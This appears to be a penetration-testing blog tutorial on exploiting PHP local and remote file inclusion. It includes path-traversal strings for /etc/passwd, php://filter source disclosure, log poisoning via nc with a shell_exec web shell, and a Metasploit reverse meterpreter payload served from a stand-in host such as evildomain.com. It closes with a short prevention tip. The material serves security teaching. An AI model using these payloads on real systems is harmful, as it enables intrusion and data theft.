This post is intended to give an overview of the common methods of exploiting file inclusion vulnerabilities. Both remote and local file inclusion topics will be covered.
What is File Inclusion?
Let’s look at the following code:
<?php “include/”.include($_GET['lang'].“.php”); ?>
This code would look for the value of ?lang= in the GET request and put that value into the above code to be rendered on the page. This could be used for something like language functionality on the site, with different values (EN, FR, etc) being called depending on a users language preference – the value ‘EN’ would load EN.php, while ‘FR’ would load FR.php.
What happens however if a user passes a malicious value such as ../../../../../etc/passwd? If this is not correctly handled the web server will attempt to include this file for display, revealing the information to the attacker. This is a local file inclusion (LFI) vulnerability. Worse still – what if the server is configured to allow remote resources? Can we include http://evildomain.com/remoteshell.php? If so, the LFI has escalated into a remote file inclusion (RFI) vulnerability, typically the more dangerous form of file inclusion.
A quick aside on the null byte
Previous to PHP version 5.3.2 an attacker could terminate a string by inserting a null byte (%00) at the end of the user data. This would cause the server to ignore any file extension appended to the end of the user input. As a case study we examine what would happen with the above code if we made the request ‘../../../../etc/passwd%00’ in PHP versions before and after 5.3.2. With a version prior to 5.3.2 the file would successfully request /etc/passwd and the result would be displayed to the tester. In a later version of PHP an error would occur as it’s searching for a passwd%00.php file which does not exist. Unfortunately (for attackers) post PHP 5.3.2 there is no easy way around the limiting factor of file extensions being appended. For the rest of this article we assume the null byte attack is valid.
Local File Inclusion
How to Identify a LFI
The easiest way to spot a LFI is often to test all of the parameters that are being used, especially those that seem to be referencing an external resource. A classic example would be file fetching functionality where a resource (image, document, etc) is called to be included on a site. Try replacing these resources with something you shouldn’t have access to, for example /etc/passwd on unix systems or boot.ini on Windows. Don’t forget to add some path traversals to your file to ensure you’re escaping out of the web server root (../). If the document is displayed we’ve successfully confirmed a LFI vulnerability.
Outside of these basic confirmations we start getting into filter bypass territory which is a never ending escalation of possibilities. How about ….//? (If it’s removing ‘../’, but not doing it recursively, the previous concatenated to ../). How about URL encoding (%2e%2e%2f)? The possibilities are endless. Googling ‘LFI filter bypass’ will reveal a number of blog posts and discussions about bypassing these techniques, but all will center around encoding methods or be highly dependent on what filtering is taking place.
Enumerating with LFI
Once we have a LFI, the question on most people’s mind is “What now?”. This difficult question has placed LFI on a lower tier of vulnerabilities which are often mistakenly dismissed as inconsequential.
A common target for LFI will always be the sensitive files residing on the systems. These can often contain passwords, configuration settings or even more juicy information such as what’s contained in database files. A reasonably comprehensive list of files can be found at BlackhatLibrary (here). Personally I strip out these and feed them into Burp Intruder pointing at the injection point. This can run very quickly through a large number of sensitive files and pull down what you, or rather the web server, has access to. Always remember that the commands are being executed in the context of the web server, so only files that are readable with those permissions (most often only world readable files) will be displayed.
Often we wish to know if a particular folder exists on the system. Perhaps we want to confirm the MySQL database folder exists before we attempt to brute force file names, perhaps we want to see if there is an apache2 folder in /var/log. A technique which can do this is including the potential folder within a known good file retrieval. For example if we know ../../../../etc/passwd is successful we can try including ../../../../var/log/apache2/../../../../etc/passwd. If /var/log/apache2 exists the traversal will be successful and the passwd file retrieved. If it doesn’t exist the file retrieval will fail.
Enumerating PHP Source Code
Given that PHP applications often have sensitive information (MySQL passwords, revealing potential vulnerabilities, etc) we often want to enumerate the source code of these files. If we try and request a straight PHP file it will simply be rendered in the browser and reveal nothing. PHP filters can be used to convert the source into base64 before being presented with the ‘php://filter/convert.base64-encode/resource=’ command. Requesting php://filter/convert.base64-encode/resource=index.php in our injection point and then running the resulting source code through a base64 decoder will present us with the source code for review.
Escalating a LFI
Revealing sensitive information is nice to do, but as always remote code execution (RCE) is the end goal. The primary goal with a LFI attack is to include a file for reading which we have control over writing to. There could be a range of options depending on the application, but here are some common examples and methods of escalating a LFI into RCE.
The log files are often the primary focus of attempting to escalate a LFI. If we can inject malicious PHP into something like the error.log and then include it, we can achieve code execution. An example of how this would be done is as follows.
nc victim.com 80
<?php echo shell_exec($_GET['cmd']); ?>
This file would be recorded in the error.log as it’s not a valid HTTP request. If we could include the log files we could do the following URL request.
This would run the ‘ls’ command in the context of the web user and it should be trivial to obtain a shell from here. This occurs because the web server will always interpret anything in between <php / ?> tags as valid PHP code, in this case our commands being passed through to shell_exec.
Often we can control information within a small area of a database. This could be user profile information, usernames, anything that isn’t sanitised correctly. If we had say a database called users in the /var/lib/mysql/ folder we could request the following after setting malicious profile information.
Once more code execution is achieved via the same method as the log poisoning above, our PHP text is interpreted as legitimate PHP commands by the server and executed accordingly.
Final Notes on LFI Escalation
Although two specific examples have been given any files you have some control over are a target. Perhaps another area of the application allows to upload SSH keys but doesn’t sanitise the input, perhaps it has a note taking application that is stored on the hard drive, perhaps you have some control over the session cookies – all can lead to code execution.
Remote File Inclusion
How to Identify a RFI
As RFI’s are very similar to LFI’s, the testing methodology is essentially the same. The one point of difference however is instead of testing for a local file (passwd or boot.ini), you put in an external resource (such as http://evildomain.com/test.txt) and attempt to include it. If this external resource is displayed on the site, a RFI vulnerability exists.
How to Exploit a RFI
RFI attacks are much easier to escalate to a shell than LFI attacks, simply because we have control over both the read and write of the file being included. The following steps can be undertaken to obtain a remote shell.
Generate a payload with Metasploit
Metasploit (or more specifically msfpayload) is a fantastic tool which can generate a huge range of payloads for penetration testing. The following command will generate a reverse meterpreter payload to be used in exploitation. It goes without saying that [Local IP] and [Local Port] should be replaced with appropriate values.
msfpayload php/meterpreter_reverse_tcp LHOST=[Local IP] LPORT=[Local Port] R > shell.txt
Our file of shell.txt is now created. One further change needs to take place which is the addition of a ‘<?php' tag at the start of shell.txt so the target web server will treat the file as PHP code.
Preparing the shell
Now the shell is created it must be hosted in an appropriate location to be accessed remotely. This could be a remote server under the tester’s control or a local web server on the tester’s machine. Appropriate permissions should be put in place to ensure the file can be read by the victim web server. It’s important to maintain the .txt file extension on the file as opposed to a .php extension which is a common mistake. Having the file as .txt ensures the source of the PHP is passed to be executed within the context of the victim server. If a .php file is passed the testers server will execute the PHP before serving, so although you’ll certainly get a shell – it will be on your own machine.
Exploiting and Catching the Shell
With a shell prepared to serve an appropriate Metasploit handler can be created with the following commands.
set payload php/meterpreter_reverse_tcp
set LHOST [Your IP Set Earlier]
set LPORT [Your Port Set Earlier]
With the handler set up to receive the shell it’s now possible to request the malicious payload in the RFI vulnerability. For example, the following could be requested.
Once this is executed a remote shell will be obtained on the vulnerable server.
File Inclusion Prevention
The most effective method of preventing file inclusion attacks is to simply not pass any user input into any file system API. Images or documents can be hard coded and another parameter (such as an index) be used to reference what file is requested.